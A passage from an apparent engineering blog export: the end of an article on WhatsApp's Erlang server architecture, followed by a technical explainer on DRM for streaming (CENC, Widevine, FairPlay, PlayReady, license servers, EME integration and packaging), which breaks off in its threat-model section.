1. **Measure per-connection overhead**: Profile your server's memory consumption per idle connection and per active connection. If idle connections cost >1KB each, investigate whether your runtime or framework adds unnecessary overhead.
2. **Profile GC impact on tail latency**: Compare p99 latency under GC pressure vs. without. If GC pauses dominate your tail latency, evaluate runtimes with per-unit-of-work GC (BEAM, Go's goroutine-aware GC).
3. **Audit operational complexity per node**: Count the hours your team spends on per-node operational tasks (monitoring, failover, upgrades). Multiply by node count. If this exceeds available engineering hours, consider larger nodes or simpler deployment.
4. **Prototype vertical limits**: Before adding nodes, push a single server to its limit in a load test. You may discover 5-10x headroom that eliminates the need for horizontal scaling — and the complexity it brings.

## Conclusion

WhatsApp's architecture is a study in what happens when a small team makes consistently correct bets on a runtime's fundamental properties. Erlang's per-process garbage collection, lightweight processes, and OTP supervision weren't just nice features — they were the architectural foundation that made 2 million connections per server, 450 million users with 32 engineers, and a $19 billion valuation possible.

The counterintuitive lesson is that WhatsApp's architecture was simple. No microservices. No container orchestration (pre-acquisition). No complex caching layers. One Erlang process per user, Mnesia for metadata, delete-after-delivery for messages, and a custom binary protocol for bandwidth efficiency. The complexity lived in the BEAM VM patches and the operational discipline of a small team — not in the system's architecture.

For engineers building high-connection systems today, WhatsApp's story suggests a specific investigation: before adding nodes, clusters, or architectural layers, check whether your runtime's concurrency model and GC strategy are the actual bottleneck. If they are, changing the runtime — as dramatic as that sounds — may be simpler than working around its limitations at scale.

## Appendix

### Prerequisites

- Familiarity with message broker concepts (store-and-forward, delivery guarantees)
- Basic understanding of Erlang/BEAM concurrency model (processes, message passing, supervision trees)
- Knowledge of XMPP protocol basics (stanzas, presence, roster)
- Understanding of vertical vs. horizontal scaling trade-offs

### Terminology

| Term             | Definition                                                                                                                                                               |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **BEAM**         | Bogdan/Björn's Erlang Abstract Machine — the virtual machine that executes Erlang and Elixir code. Provides preemptive scheduling, per-process GC, and hot code loading. |
| **OTP**          | Open Telecom Platform — Erlang's standard library of behaviors (gen_server, supervisor) and tools for building fault-tolerant systems.                                   |
| **ejabberd**     | Open-source XMPP server written in Erlang. WhatsApp's starting point, heavily rewritten over subsequent years.                                                           |
| **XMPP**         | Extensible Messaging and Presence Protocol — an open XML-based protocol for real-time messaging. WhatsApp's original protocol before switching to FunXMPP.               |
| **FunXMPP**      | WhatsApp's custom binary protocol evolved from XMPP, replacing XML structure with byte tokens for 50-70% bandwidth reduction.                                            |
| **Mnesia**       | Erlang's built-in distributed database supporting in-memory and disk-based tables. WhatsApp used it for routing tables, offline queues, and user metadata.               |
| **ETS**          | Erlang Term Storage — in-memory key-value tables accessible by multiple Erlang processes. Used for fast concurrent lookups within a single node.                         |
| **gen_server**   | Standard OTP behavior for implementing a server process that handles synchronous and asynchronous requests.                                                              |
| **gen_factory**  | WhatsApp's custom OTP behavior extending gen_server with worker pool dispatch for parallelized processing.                                                               |
| **gen_industry** | WhatsApp's custom OTP behavior with multiple dispatch processes feeding multiple workers, parallelizing both ingestion and processing.                                   |
| **SMP**          | Symmetric Multi-Processing — hardware architecture where multiple CPUs share memory. BEAM's SMP support maps one scheduler per core.                                     |
| **WARTS**        | WhatsApp's Runtime System — a custom fork of Erlang/OTP focused on performance, security, and tooling for Linux environments.                                            |
| **SRTP**         | Secure Real-time Transport Protocol — encryption protocol for voice and video calls, used by WhatsApp for end-to-end encrypted media streams.                            |
| **YAWS**         | Yet Another Web Server — Erlang-based HTTP server used by WhatsApp for multimedia upload/download handling.                                                              |
| **SoftLayer**    | IBM's bare-metal cloud hosting provider where WhatsApp ran pre-acquisition. Migrated to Facebook data centers 2017-2019.                                                 |

### Summary

- WhatsApp started from ejabberd (open-source XMPP/Erlang server) in 2009, spending years rewriting it into a custom messaging platform that served 450 million users with 32 engineers and ~550 servers at the time of Facebook's $19 billion acquisition
- BEAM's per-process garbage collection (~300 bytes per process) enabled 2+ million concurrent TCP connections per server — operational complexity scales with node count, not core count, so fewer large servers was deliberately chosen over many small ones
- WhatsApp patched the BEAM VM itself (timer wheels, GC throttling, distribution buffers, pg2 replacement, ETS hash improvements), with several patches upstreamed to mainline Erlang/OTP
- FunXMPP replaced XML-based XMPP with a binary protocol achieving 50-70% bandwidth reduction, making WhatsApp viable on 2G feature phones in developing markets
- Mnesia provided in-memory metadata storage (~2TB, 18 billion records, 98% cache hit rate) while messages were transient — deleted after delivery confirmation, with 50% read within 60 seconds
- Post-acquisition, WhatsApp migrated from FreeBSD/SoftLayer to Linux/Facebook data centers (2017-2019), scaled to 40,000+ Erlang nodes and 1 billion+ concurrent connections, and formalized their runtime fork as WARTS (WhatsApp's Runtime System)

### References

- [WhatsApp Blog: "1 million is so 2011"](https://blog.whatsapp.com/1-million-is-so-2011) — WhatsApp Engineering, January 2012. Server specs and 2M connection milestone.
- [Rick Reed: "That's 'Billion' with a 'B': Scaling to the Next Level at WhatsApp"](https://www.infoq.com/presentations/whatsapp-scalability/) — Erlang Factory SF 2014. BEAM patches, meta-clustering, data storage architecture.
- [Rick Reed: "WhatsApp: Half a Billion Unsuspecting FreeBSD Users"](https://www.slideshare.net/iXsystems/rick-reed-600-m-unsuspecting-freebsd-users) — MeetBSD California 2014. FreeBSD infrastructure at 600M+ users.
- [Eugene Fooksman Interview](https://pdincau.wordpress.com/2013/03/27/an-interview-with-eugene-fooksman-erlang/) — Paolo D'Incau, March 2013. Early architecture decisions and ejabberd origins.
- [Anton Lavrik Interview: 20 Years of Open Source Erlang](https://www.erlang-solutions.com/blog/20-years-of-open-source-erlang-openerlang-interview-with-anton-lavrik-from-whatsapp/) — Erlang Solutions. Erlang vs alternatives, developer tooling at scale.
- [How WhatsApp Grew to Nearly 500 Million Users, 11,000 Cores, and 70 Million Messages a Second](https://highscalability.com/how-whatsapp-grew-to-nearly-500-million-users-11000-cores-an/) — High Scalability, 2014. Detailed technical architecture summary from Reed's 2014 talk.
- [The WhatsApp Architecture Facebook Bought for $19 Billion](https://highscalability.com/the-whatsapp-architecture-facebook-bought-for-19-billion/) — High Scalability, 2014. Architecture overview at acquisition.
- [Igors Istocniks: "How WhatsApp Moved 1.5 Billion Users Across Data Centers"](https://codesync.global/media/how-whatsapp-oved-1-billion-users-across-data-centers/) — CodeBEAM SF 2019. Data center migration details.
- [Meta Engineering: Introducing Multi-Device for WhatsApp](https://engineering.fb.com/2021/07/14/security/whatsapp-multi-device/) — Meta Engineering Blog, July 2021. Multi-device architecture.
- [WhatsApp/WARTS on GitHub](https://github.com/WhatsApp/warts) — WhatsApp's Runtime System (custom Erlang/OTP fork).
- [Erlang Forums: Did the WhatsApp Patches Make It Into Mainstream Erlang?](https://erlangforums.com/t/did-the-whatsapp-patches-mentioned-in-a-2014-conference-make-it-into-mainstream-erlang/958) — Community discussion on upstream contributions.
- [Rick Reed: "Scaling to Millions of Simultaneous Connections"](http://www.erlang-factory.com/conference/SFBay2012/speakers/RickReed) — Erlang Factory SF 2012. Initial connection scaling work.
- [Rick Reed: "JPGs and 3GPs and AMRs Oh My!"](https://www.erlang-factory.com/conference/SFBay2013/speakers/RickReed) — Erlang Factory SF 2013. Erlang-based multimedia system rebuild.

# PLATFORM ENGINEERING

Infrastructure, observability, migrations, media, and experimentation systems.

---

## DRM Fundamentals for Streaming Media

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/media-systems/drm-basics-for-streaming
**Category:** Platform Engineering / Media Systems
**Description:** Digital Rights Management (DRM) for streaming media combines encryption, license management, and platform-specific security to control content playback. This article covers the encryption architecture (CENC, AES modes), the three dominant DRM systems (Widevine, FairPlay, PlayReady), license server design, client integration via EME (Encrypted Media Extensions), and operational considerations including key rotation, security levels, and the threat model that DRM addresses.

# DRM Fundamentals for Streaming Media

Digital Rights Management (DRM) for streaming media combines encryption, license management, and platform-specific security to control content playback. This article covers the encryption architecture (CENC, AES modes), the three dominant DRM systems (Widevine, FairPlay, PlayReady), license server design, client integration via EME (Encrypted Media Extensions), and operational considerations including key rotation, security levels, and the threat model that DRM addresses.

<figure>

![DRM pipeline: content encryption with CENC, key management through license servers, and client-side decryption via platform CDMs](./drm-pipeline-content-encryption-with-cenc-key-management-through-license-servers.svg)

<figcaption>DRM pipeline: content encryption with CENC, key management through license servers, and client-side decryption via platform CDMs</figcaption>

</figure>

## Abstract

DRM protects streaming content by combining two mechanisms: **encryption** (scrambling content so it's unplayable without keys) and **license enforcement** (controlling who gets keys and under what conditions). The challenge is that this must work across a fragmented device ecosystem where each platform (Apple, Google, Microsoft) controls its own security hardware.

**The core mental model:**

1. **CENC separates encryption from DRM.** Common Encryption (ISO/IEC 23001-7) standardizes how content is encrypted using AES-128. The same encrypted file works with any DRM system—Widevine, FairPlay, or PlayReady. What differs is how keys are delivered.

2. **Three DRM systems, one reason: hardware trust.** Each platform vendor controls the Trusted Execution Environment (TEE) on their devices. DRM requires keys to be protected by hardware—no vendor trusts another vendor's implementation. Hence: Widevine for Android/Chrome, FairPlay for Apple, PlayReady for Windows/Xbox.

3. **Security levels determine content quality.** DRM systems define tiers: L1/SL3000 (hardware TEE) enables 4K/HDR; L3/SL2000 (software-only) is capped at SD/720p. Premium services enforce hardware DRM for premium content.

4. **License servers are the policy engine.** The server doesn't just deliver keys—it enforces business rules: rental expiration, device limits, offline playback duration, output restrictions. Keys are wrapped in licenses containing these policies.

5. **EME bridges JavaScript to the CDM.** Encrypted Media Extensions (W3C) provides a standardized browser API. The actual decryption happens in the platform's Content Decryption Module (CDM), which is a black box to JavaScript—the app never sees the content key.

6. **DRM prevents casual copying, not determined piracy.** Hardware DRM (L1) prevents screen recording on supported devices. Software DRM (L3) can be bypassed. The "analog hole" (camera pointing at screen) is addressed by forensic watermarking, not DRM.

**DRM system coverage:**

| DRM           | Ecosystem                               | Hardware Security | Software Fallback |
| ------------- | --------------------------------------- | ----------------- | ----------------- |
| **Widevine**  | Chrome, Android, Android TV, Chromecast | L1 (TEE)          | L3 (browser CDM)  |
| **FairPlay**  | Safari, iOS, macOS, Apple TV            | Secure Enclave    | —                 |
| **PlayReady** | Edge, Windows, Xbox, Smart TVs          | SL3000 (TEE)      | SL2000 (software) |

## Common Encryption (CENC)

CENC (ISO/IEC 23001-7:2023) is the foundation that makes multi-DRM practical. It standardizes the encryption format so content can be encrypted once and decrypted by any supported DRM system.

### Why CENC Exists

Before CENC, each DRM system required its own encrypted file. Supporting Widevine and FairPlay meant storing two complete copies of every video—doubling storage costs and halving CDN cache efficiency.

CENC defines:

- **Encryption algorithm:** AES-128 (same algorithm, same encrypted bytes for all DRM systems)
- **Key mapping:** How content keys are identified and applied to media samples
- **Subsample encryption:** Which parts of video NAL units are encrypted (preserving headers for codec parsing)

What CENC does _not_ define: license acquisition, key delivery protocols, or security requirements. Each DRM system handles these independently.

### CENC Protection Schemes

CENC defines four encryption modes. The choice affects compatibility:

| Scheme | Algorithm | Pattern               | Primary Use                |
| ------ | --------- | --------------------- | -------------------------- |
| `cenc` | AES-CTR   | Full sample           | Widevine, PlayReady (DASH) |
| `cbc1` | AES-CBC   | Full sample           | Rare                       |
| `cens` | AES-CTR   | Partial (pattern)     | Rare                       |
| `cbcs` | AES-CBC   | Partial (1:9 pattern) | FairPlay, HLS, CMAF        |

**Design trade-off—CTR vs. CBC:**

- **AES-CTR (`cenc`):** Counter mode. Parallelizable—hardware decoders can decrypt multiple blocks simultaneously. No padding required. Historically the default for DASH/Widevine/PlayReady.

- **AES-CBC (`cbcs`):** Cipher Block Chaining with pattern encryption. Each block depends on the previous, limiting parallelization. FairPlay requires CBC mode; Apple never supported CTR.

**The CMAF convergence:** When CMAF unified HLS and DASH containers, the industry needed a common encryption mode. Apple's FairPlay only supports `cbcs`. Starting around 2019-2020, Widevine and PlayReady added `cbcs` support, making it the de facto standard for CMAF content. As of 2024, `cbcs` is recommended for new deployments targeting both Apple and non-Apple devices.

> **Prior to CMAF:** Content providers maintained separate encrypted packages—DASH with `cenc` for Widevine/PlayReady, and HLS with `cbcs` for FairPlay. CMAF with `cbcs` enables single-file multi-DRM.

### Pattern Encryption

`cbcs` uses pattern encryption: encrypt some bytes, skip others. The standard pattern is **1:9**—encrypt 1 block (16 bytes), skip 9 blocks (144 bytes), repeat.

**Why pattern encryption?** Video codecs (H.264, HEVC) have NAL unit structures where headers must remain readable for the decoder to parse frame boundaries without decryption. Pattern encryption leaves sufficient plaintext for parsing while protecting the actual coded video data.

**FairPlay-specific behavior:** FairPlay leaves the first 32 bytes of each VCL (Video Coding Layer) NAL unit unencrypted (1 byte NAL type + 31 bytes), then applies 1:9 pattern. This exceeds the CENC minimum (NAL type + slice header) but simplifies implementation by avoiding slice header parsing.

### Subsample Encryption

For NAL-structured video (H.264, HEVC, AV1), CENC specifies **subsample encryption**: only the coded slice data is encrypted, leaving NAL headers in plaintext.

Structure of an encrypted sample:

```
NAL Unit:
┌────────────┬───────────────────────────────┐
│ NAL Header │ Coded Slice Data              │
│ (clear)    │ (encrypted, pattern applied)  │
└────────────┴───────────────────────────────┘
```

The `senc` (Sample Encryption) box in fMP4 contains auxiliary information describing which byte ranges are clear vs. encrypted for each sample. This enables:

- Decoder inspection of frame types without decryption
- Seeking to keyframes without license acquisition
- Partial decryption for trick play modes

## The DRM Ecosystem

Three DRM systems dominate streaming: Google Widevine, Apple FairPlay, and Microsoft PlayReady. Understanding each system's architecture is essential for multi-DRM deployment.

### Widevine

Widevine is Google's DRM, integrated into Chrome, Android, Chromecast, and Android TV. It's the most widely deployed DRM for non-Apple streaming.

**Security Levels:**

| Level  | Implementation                                    | Content Quality       | Use Case                             |
| ------ | ------------------------------------------------- | --------------------- | ------------------------------------ |
| **L1** | Decryption in TEE; keys never exposed to main CPU | 4K, HDR, Dolby Vision | Premium streaming (Netflix, Disney+) |
| **L2** | Crypto in TEE, video processing in main CPU       | Limited (rarely used) | Transitional devices                 |
| **L3** | Software CDM; no hardware protection              | SD or 720p max        | Desktop browsers, dev testing        |

**L1 requirement:** Netflix, Amazon Prime Video, and Disney+ enforce L1 for HD and above. A Chrome browser on macOS—despite running on capable hardware—gets L3 because there's no TEE integration, capping quality at 720p.

**Android implementation:** Widevine on Android uses a Hardware Abstraction Layer (HAL) module. For L1, the `liboemcrypto.so` library communicates with a Widevine trustlet running in the TEE (e.g., Qualcomm QSEE, ARM TrustZone). The trustlet handles key decryption and content decryption without exposing keys to the Android OS.

**Known vulnerabilities:** In 2021, researchers demonstrated L3 bypass on Android by extracting keys from the obfuscated CDM. L1 attacks (recovering the device keybox) have also been demonstrated but require physical access or privileged software. These attacks led to improved keybox protection and server-side device attestation.

### FairPlay Streaming (FPS)

FairPlay is Apple's DRM, required for encrypted HLS on Safari, iOS, macOS, and Apple TV. There is no software-only fallback—FairPlay always uses Apple's Secure Enclave.

**Key Exchange Flow:**

1. Player detects `EXT-X-KEY` tag in HLS manifest with FairPlay URI
2. Player requests Server Playback Context (SPC) from FairPlay framework
3. SPC (encrypted blob containing device identity and key request) is sent to license server
4. License server validates SPC, generates Content Key Context (CKC) containing the content key
5. CKC is returned to player; FairPlay framework decrypts and loads key into Secure Enclave
6. Playback proceeds with hardware-protected decryption

**Deployment requirements:** FairPlay requires enrollment in Apple's program. Content providers must implement a Key Security Module (KSM) or use a managed DRM service. Apple provides the D Function (a cryptographic component) after approval.

**Offline playback:** Since iOS 10, FairPlay supports persistent licenses for offline viewing. The license includes expiration metadata; the Secure Enclave enforces playback duration limits without network access.

### PlayReady

PlayReady is Microsoft's DRM, integrated into Edge, Windows, Xbox, and many smart TVs. It's particularly strong in the set-top box and smart TV market.

**Security Levels:**

| Level      | Implementation                            | Content Quality |
| ---------- | ----------------------------------------- | --------------- |
| **SL3000** | TEE-based (introduced with PlayReady 3.0) | 4K, HDR         |
| **SL2000** | Software-based protection                 | HD and below    |
| **SL150**  | No protection (testing only)              | —               |

**License flexibility:** PlayReady licenses support granular policies:

- Output restrictions (HDCP version requirements, analog output disable)
- License expiration (rental periods, subscription windows)
- Domain binding (sharing across registered devices)
- Secure stop (server confirmation when playback ends)

**SL3000 audio requirement:** When using SL3000 for video, the audio track must use SL2000 or lower, or be unencrypted. This is because audio TEE processing adds latency without significant security benefit—audio piracy via recording is trivial regardless.

**Azure Media Services note:** Azure Media Services (retired June 2024) provided integrated PlayReady licensing. Post-retirement, providers typically use BuyDRM, EZDRM, Axinom, or self-hosted PlayReady servers.

### Multi-DRM Strategy

Supporting all major platforms requires all three DRM systems. CENC makes the media files common; only license acquisition differs.

**Typical multi-DRM architecture:**

```
                    ┌─────────────┐
                    │   Content   │
                    │  (CMAF +    │
                    │   cbcs)     │
                    └──────┬──────┘
                           │
           ┌───────────────┼───────────────┐
           │               │               │
           ▼               ▼               ▼
    ┌────────────┐  ┌────────────┐  ┌────────────┐
    │  Widevine  │  │  FairPlay  │  │  PlayReady │
    │   PSSH     │  │   PSSH     │  │   PSSH     │
    └──────┬─────┘  └──────┬─────┘  └──────┬─────┘
           │               │               │
           ▼               ▼               ▼
    ┌────────────┐  ┌────────────┐  ┌────────────┐
    │  Widevine  │  │  FairPlay  │  │  PlayReady │
    │  License   │  │  License   │  │  License   │
    │  Server    │  │  Server    │  │  Server    │
    └────────────┘  └────────────┘  └────────────┘
```

**Managed vs. self-hosted:** Multi-DRM service providers (BuyDRM, EZDRM, Axinom, PallyCon) handle license server operation, key management, and DRM system certifications. Self-hosting requires separate agreements with Google, Apple, and Microsoft, plus TEE hardware for L1/SL3000.

## PSSH and DRM Signaling

The Protection System Specific Header (PSSH) box contains metadata that the CDM needs to acquire a license. Each DRM system has its own PSSH box; multiple PSSH boxes can coexist in the same file.

### PSSH Box Structure

```
PSSH Box (ISO 23001-7):
┌────────────────────────────────────────┐
│ Box Header (size, type='pssh')         │
├────────────────────────────────────────┤
│ Version (0 or 1)                       │
│ Flags                                  │
│ SystemID (16 bytes, identifies DRM)    │
│ KID Count (v1 only)                    │
│ KID List (v1 only, key IDs)            │
│ Data Size                              │
│ Data (DRM-specific payload)            │
└────────────────────────────────────────┘
```

**SystemID values:**

| DRM       | SystemID (UUID)                        |
| --------- | -------------------------------------- |
| Widevine  | `edef8ba9-79d6-4ace-a3c8-27dcd51d21ed` |
| FairPlay  | `94ce86fb-07ff-4f43-adb8-93d2fa968ca2` |
| PlayReady | `9a04f079-9840-4286-ab92-e65be0885f95` |

**PSSH Data contents vary by DRM:**

- **Widevine:** Content ID, key IDs, optional provider/policy info
- **PlayReady:** PlayReady Object (PRO) containing license acquisition URL and key IDs
- **FairPlay:** Typically minimal; key acquisition info is in the HLS `EXT-X-KEY` tag

### Signaling in DASH

DASH uses `ContentProtection` elements in the MPD to signal DRM:

```xml
<AdaptationSet>
  <!-- Signal encryption scheme -->
  <ContentProtection
    schemeIdUri="urn:mpeg:dash:mp4protection:2011"
    value="cenc" />

  <!-- Widevine-specific -->
  <ContentProtection
    schemeIdUri="urn:uuid:edef8ba9-79d6-4ace-a3c8-27dcd51d21ed">
    <cenc:pssh>AAAANHBzc2gBAAAA7e+LqXnW...</cenc:pssh>
  </ContentProtection>

  <!-- PlayReady-specific -->
  <ContentProtection
    schemeIdUri="urn:uuid:9a04f079-9840-4286-ab92-e65be0885f95">
    <cenc:pssh>AAADfnBzc2gAAAAAmgTweZh...</cenc:pssh>
    <mspr:pro>...</mspr:pro>
  </ContentProtection>
</AdaptationSet>
```

**PSSH placement—MPD vs. init segment:**

The PSSH can appear in the MPD (as base64-encoded `cenc:pssh` element) or in the initialization segment's `moov/pssh` box. Best practice for live streaming: include PSSH in the MPD. This enables license acquisition before fetching media segments, reducing startup latency.

> **DASH-IF recommendation:** "PSSH boxes required for DRM system initialization SHOULD be placed in the MPD as cenc:pssh elements." Updating the MPD is operationally simpler than regenerating init segments.

### Signaling in HLS

HLS uses the `EXT-X-KEY` tag in media playlists:

```m3u8
#EXTM3U
#EXT-X-VERSION:5
#EXT-X-KEY:METHOD=SAMPLE-AES,URI="skd://content-id-here",KEYFORMAT="com.apple.streamingkeydelivery",KEYFORMATVERSIONS="1"
#EXTINF:6.0,
segment001.m4s
```

**Key parameters:**

- `METHOD=SAMPLE-AES`: Indicates `cbcs` encryption
- `URI`: FairPlay uses `skd://` scheme; the value is passed to the license server
- `KEYFORMAT`: Identifies FairPlay (`com.apple.streamingkeydelivery`)

For Widevine/PlayReady with HLS (fMP4/CMAF), the PSSH is embedded in the init segment's `moov` box. Some players also support `EXT-X-SESSION-KEY` in master playlists for early license acquisition.

## License Server Architecture

The license server is the policy engine of DRM. It doesn't just deliver keys—it wraps them in licenses that encode business rules.

### Core Components

```
┌────────────────────────────────────────────────────────────┐
│                    License Server                          │
│                                                            │
│  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐    │
│  │ Entitlement  │  │     Key      │  │   License    │    │
│  │   Service    │  │   Service    │  │  Generator   │    │
│  │              │  │              │  │              │    │
│  │ - Auth       │  │ - Key store  │  │ - DRM-       │    │
│  │ - Subscript. │  │ - Derivation │  │   specific   │    │
│  │ - Policies   │  │ - Rotation   │  │   wrapping   │    │
│  └──────┬───────┘  └──────┬───────┘  └──────┬───────┘    │
│         │                 │                 │             │
│         └─────────────────┴─────────────────┘             │
│                           │                               │
└───────────────────────────┼───────────────────────────────┘
                            ▼
                    ┌───────────────┐
                    │    Client     │
                    │  (CDM/EME)    │
                    └───────────────┘
```

**Entitlement Service:** Authorizes the license request. Checks user authentication, subscription status, device limits, geo-restrictions. Returns an entitlement token (often JWT) that the license generator trusts.

**Key Service:** Stores and retrieves content encryption keys. For large catalogs, keys may be derived from a master key using the content ID (hierarchical key derivation). Must be highly secure—compromise here means all content is compromised.

**License Generator:** Takes the entitlement token and content key, generates a DRM-specific license. Each DRM has its own license format and signing requirements.

### License Policies

Licenses contain policies that the CDM enforces locally:

| Policy                  | Description                                     | Example           |
| ----------------------- | ----------------------------------------------- | ----------------- |
| **License duration**    | How long the license is valid                   | 48 hours (rental) |
| **Playback duration**   | How long playback can continue after first play | 24 hours          |
| **Persistence**         | Whether license survives app restart            | Offline viewing   |
| **Output restrictions** | Required HDCP version, analog output control    | HDCP 2.2 for 4K   |
| **Security level**      | Minimum client security level                   | L1 for HD+        |
| **Device binding**      | License tied to specific device                 | Non-transferable  |

**Rental example:** A 48-hour rental might have:

- License duration: 30 days (time to start watching)
- Playback duration: 48 hours (once playback begins)
- Persistence: Enabled (for offline viewing)

### Key Rotation

For live streaming, key rotation changes encryption keys periodically, limiting the exposure window if a key is compromised.

**Implementation:**

1. Encoder generates new key at rotation interval (e.g., every hour)
2. Key Service stores new key with associated time period
3. MPD/playlist signals upcoming key change via PSSH update
4. Player acquires new license before key change takes effect
5. CDM seamlessly transitions to new key

**Timing is critical:** The new key must be signaled 2-3 segment periods before activation. If the player doesn't acquire the new license in time, playback stalls.

**CPIX for key exchange:** The Content Protection Information Exchange (CPIX) format, standardized by DASH-IF, provides a vendor-neutral way to exchange key information between encoders, packagers, and DRM servers. CPIX supports key periods for rotation and filtering by track type (video, audio, SD, HD).

### Entitlement Tokens

Rather than embedding business logic in the license server, the common pattern is token-based entitlement:

1. User's app authenticates with backend
2. Backend validates subscription, generates signed entitlement token
3. Token includes: user ID, content ID, allowed policies, expiration
4. Player includes token in license request
5. License server validates token signature, applies policies

**Token format example (JWT-style):**

```json
{
  "sub": "user-12345",
  "content_id": "movie-abc",
  "policies": {
    "license_duration": 172800,
    "playback_duration": 86400,
    "min_security_level": "L1"
  },
  "exp": 1704067200,
  "iss": "streaming-service.com"
}
```

This separates concerns: the backend handles business logic, the license server handles DRM cryptography.

## Client Integration: EME

Encrypted Media Extensions (EME) is the W3C API that connects web applications to Content Decryption Modules. EME standardizes the interface; the security properties depend entirely on the underlying CDM.

### EME Flow

![Diagram](./diagram-1.svg)

### Key API Components

**`navigator.requestMediaKeySystemAccess(keySystem, config)`**

Checks if a DRM system is available and supports the requested configuration.

```javascript
const config = [
  {
    initDataTypes: ["cenc"],
    videoCapabilities: [
      {
        contentType: 'video/mp4; codecs="avc1.640028"',
        robustness: "HW_SECURE_ALL", // Request L1
      },
    ],
    audioCapabilities: [
      {
        contentType: 'audio/mp4; codecs="mp4a.40.2"',
      },
    ],
    persistentState: "required", // For offline
    sessionTypes: ["persistent-license"],
  },
]

const access = await navigator.requestMediaKeySystemAccess("com.widevine.alpha", config)
```

**Robustness levels (Widevine):**

- `HW_SECURE_ALL`: L1 (hardware path for crypto and decode)
- `HW_SECURE_CRYPTO`: L2 (hardware crypto, software decode)
- `SW_SECURE_CRYPTO`: L3 (software only)

**`MediaKeys` and `MediaKeySession`**

MediaKeys represents the keying material for a media element. MediaKeySession handles the license exchange for a specific set of keys.

```javascript
const mediaKeys = await access.createMediaKeys()
await videoElement.setMediaKeys(mediaKeys)

// When encrypted event fires
videoElement.addEventListener("encrypted", async (event) => {
  const session = mediaKeys.createSession("temporary")

  session.addEventListener("message", async (messageEvent) => {
    // messageEvent.message contains the license request
    const response = await fetch("/license", {
      method: "POST",
      body: messageEvent.message,
    })
    const license = await response.arrayBuffer()
    await session.update(license)
  })

  await session.generateRequest(event.initDataType, event.initData)
})
```

### Session Types

| Type                      | Persistence                      | Use Case        |
| ------------------------- | -------------------------------- | --------------- |
| `temporary`               | Memory only; lost on page close  | Streaming       |
| `persistent-license`      | Stored; survives restart         | Offline viewing |
| `persistent-usage-record` | Records playback for secure stop | Rental tracking |

**Persistent license flow:** For offline playback, the app stores the session ID. On reconnect, it calls `mediaKeys.createSession('persistent-license')` followed by `session.load(storedSessionId)` to restore the license without network access.

### Common Failure Modes

| Error                | Symptom                               | Cause                                        |
| -------------------- | ------------------------------------- | -------------------------------------------- |
| `NotSupportedError`  | `requestMediaKeySystemAccess` rejects | DRM system unavailable or config unsupported |
| `QuotaExceededError` | `createSession` fails                 | Too many concurrent sessions                 |
| `InvalidStateError`  | `update` fails                        | License response malformed or session closed |
| `SecurityError`      | Playback fails after license          | Security level mismatch or HDCP missing      |

**Debugging tip:** Enable chrome://media-internals in Chrome to see detailed EME events, license requests, and CDM status.

## Content Packaging

Packaging transforms encoded video into DRM-protected segments ready for delivery. Tools like Shaka Packager and Bento4 handle encryption and PSSH generation.

### Shaka Packager Multi-DRM Example

```bash title="package-multi-drm.sh" collapse={1-3, 20-30}
#!/bin/bash
# Package content for Widevine, PlayReady, and FairPlay
# using CMAF with cbcs encryption

packager \
  'in=video.mp4,stream=video,output=video.mp4,drm_label=HD' \
  'in=video.mp4,stream=audio,output=audio.mp4,drm_label=AUDIO' \
  --protection_scheme cbcs \
  --enable_raw_key_encryption \
  --keys label=HD:key_id=<key-id>:key=<key>,label=AUDIO:key_id=<key-id>:key=<key> \
  --protection_systems Widevine,PlayReady,FairPlay \
  --hls_master_playlist_output master.m3u8 \
  --mpd_output manifest.mpd

# Output:
# - video.mp4, audio.mp4 (CMAF, cbcs encrypted)
# - master.m3u8 (HLS)
# - manifest.mpd (DASH)
# - init segments with PSSH boxes for all three DRM systems
```

**Key parameters:**

| Parameter                     | Purpose                                        |
| ----------------------------- | ---------------------------------------------- |
| `--protection_scheme cbcs`    | Use cbcs encryption for Apple compatibility    |
| `--protection_systems`        | Generate PSSH for specified DRM systems        |
| `--enable_raw_key_encryption` | Use provided keys (vs. Widevine server)        |
| `--drm_label`                 | Associate different keys with different tracks |

### CPIX Integration

For production workflows, keys come from a DRM service via CPIX rather than command-line arguments:

```bash
packager \
  'in=video.mp4,stream=video,output=video.mp4' \
  'in=video.mp4,stream=audio,output=audio.mp4' \
  --protection_scheme cbcs \
  --enable_raw_key_encryption \
  --keys_file keys.cpix
```

The CPIX document contains keys, key IDs, PSSH data, and any track-specific filtering rules.

### Output Structure

A packaged CMAF asset typically contains:

```
output/
├── master.m3u8          # HLS master playlist
├── manifest.mpd         # DASH manifest
├── video/
│   ├── init.mp4         # Init segment (moov + PSSH boxes)
│   └── segment_*.m4s    # Media segments (encrypted)
├── audio/
│   ├── init.mp4
│   └── segment_*.m4s
└── subtitles/
    └── en.vtt
```

The init segment's `moov` box contains PSSH boxes for each DRM system. Players extract the appropriate PSSH based on the detected DRM.

## Threat Model and Limitations

DRM addresses specific threats in the content distribution chain. Understanding what it protects against—and what it doesn't—is essential for setting realistic expectations.

### What DRM Protects Against

| Threat                           | DRM Mitigation                                  |
| -------------------------------- | ----------------------------------------------- |
| **Casual sharing**               | Content requires license; can't just copy files |
| **Network capture**              | Encrypted stream is useless without keys        |
| **Screen recording (L1/SL3000)** | Hardware path prevents capture APIs             |
| **Playback manipulation**        | License policies (expiration, device binding)   |
| **Credential sharing**           | Concurrent stream limits enforced server-side   |

### What DRM Doesn't Protect Against

**Software DRM bypass (L3):** Widevine L3 has been reverse-engineered; keys can be extracted from the software CDM. Services limit L3 to SD quality for this reason.

**Hardware attacks:** With physical access and resources, attackers can extract L1 keyboxes (device certificates). Revocation lists address known compromises, but the attacker has typically already extracted content.

**The analog hole:** A camera recording a screen cannot be prevented by any technology. This is where forensic watermarking becomes relevant—it doesn't prevent the recording but enables identification of the source.

**Re-streaming:** Once decrypted for playback, content can be captured and re-distributed. HDCP protects the link from player to display, but HDCP has been compromised multiple times.

### Forensic Watermarking

Watermarking complements DRM by enabling leak tracing. Unlike DRM (prevention), watermarking enables identification after a leak.

**Types:**

| Type                     | Application                       | Visibility                      |
| ------------------------ | --------------------------------- | ------------------------------- |
| **Visible**              | Applied at encode time            | User sees overlay               |
| **Server-side forensic** | Applied during packaging/delivery | Invisible; per-user ID embedded |
| **Client-side forensic** | Applied by player at render       | Invisible; session-specific     |

**Session-based watermarking:** Each playback session embeds unique identifiers (user ID, session ID, timestamp) into the video signal. If leaked content is discovered, extraction tools can recover the session information and identify the source account.

**Limitations:**

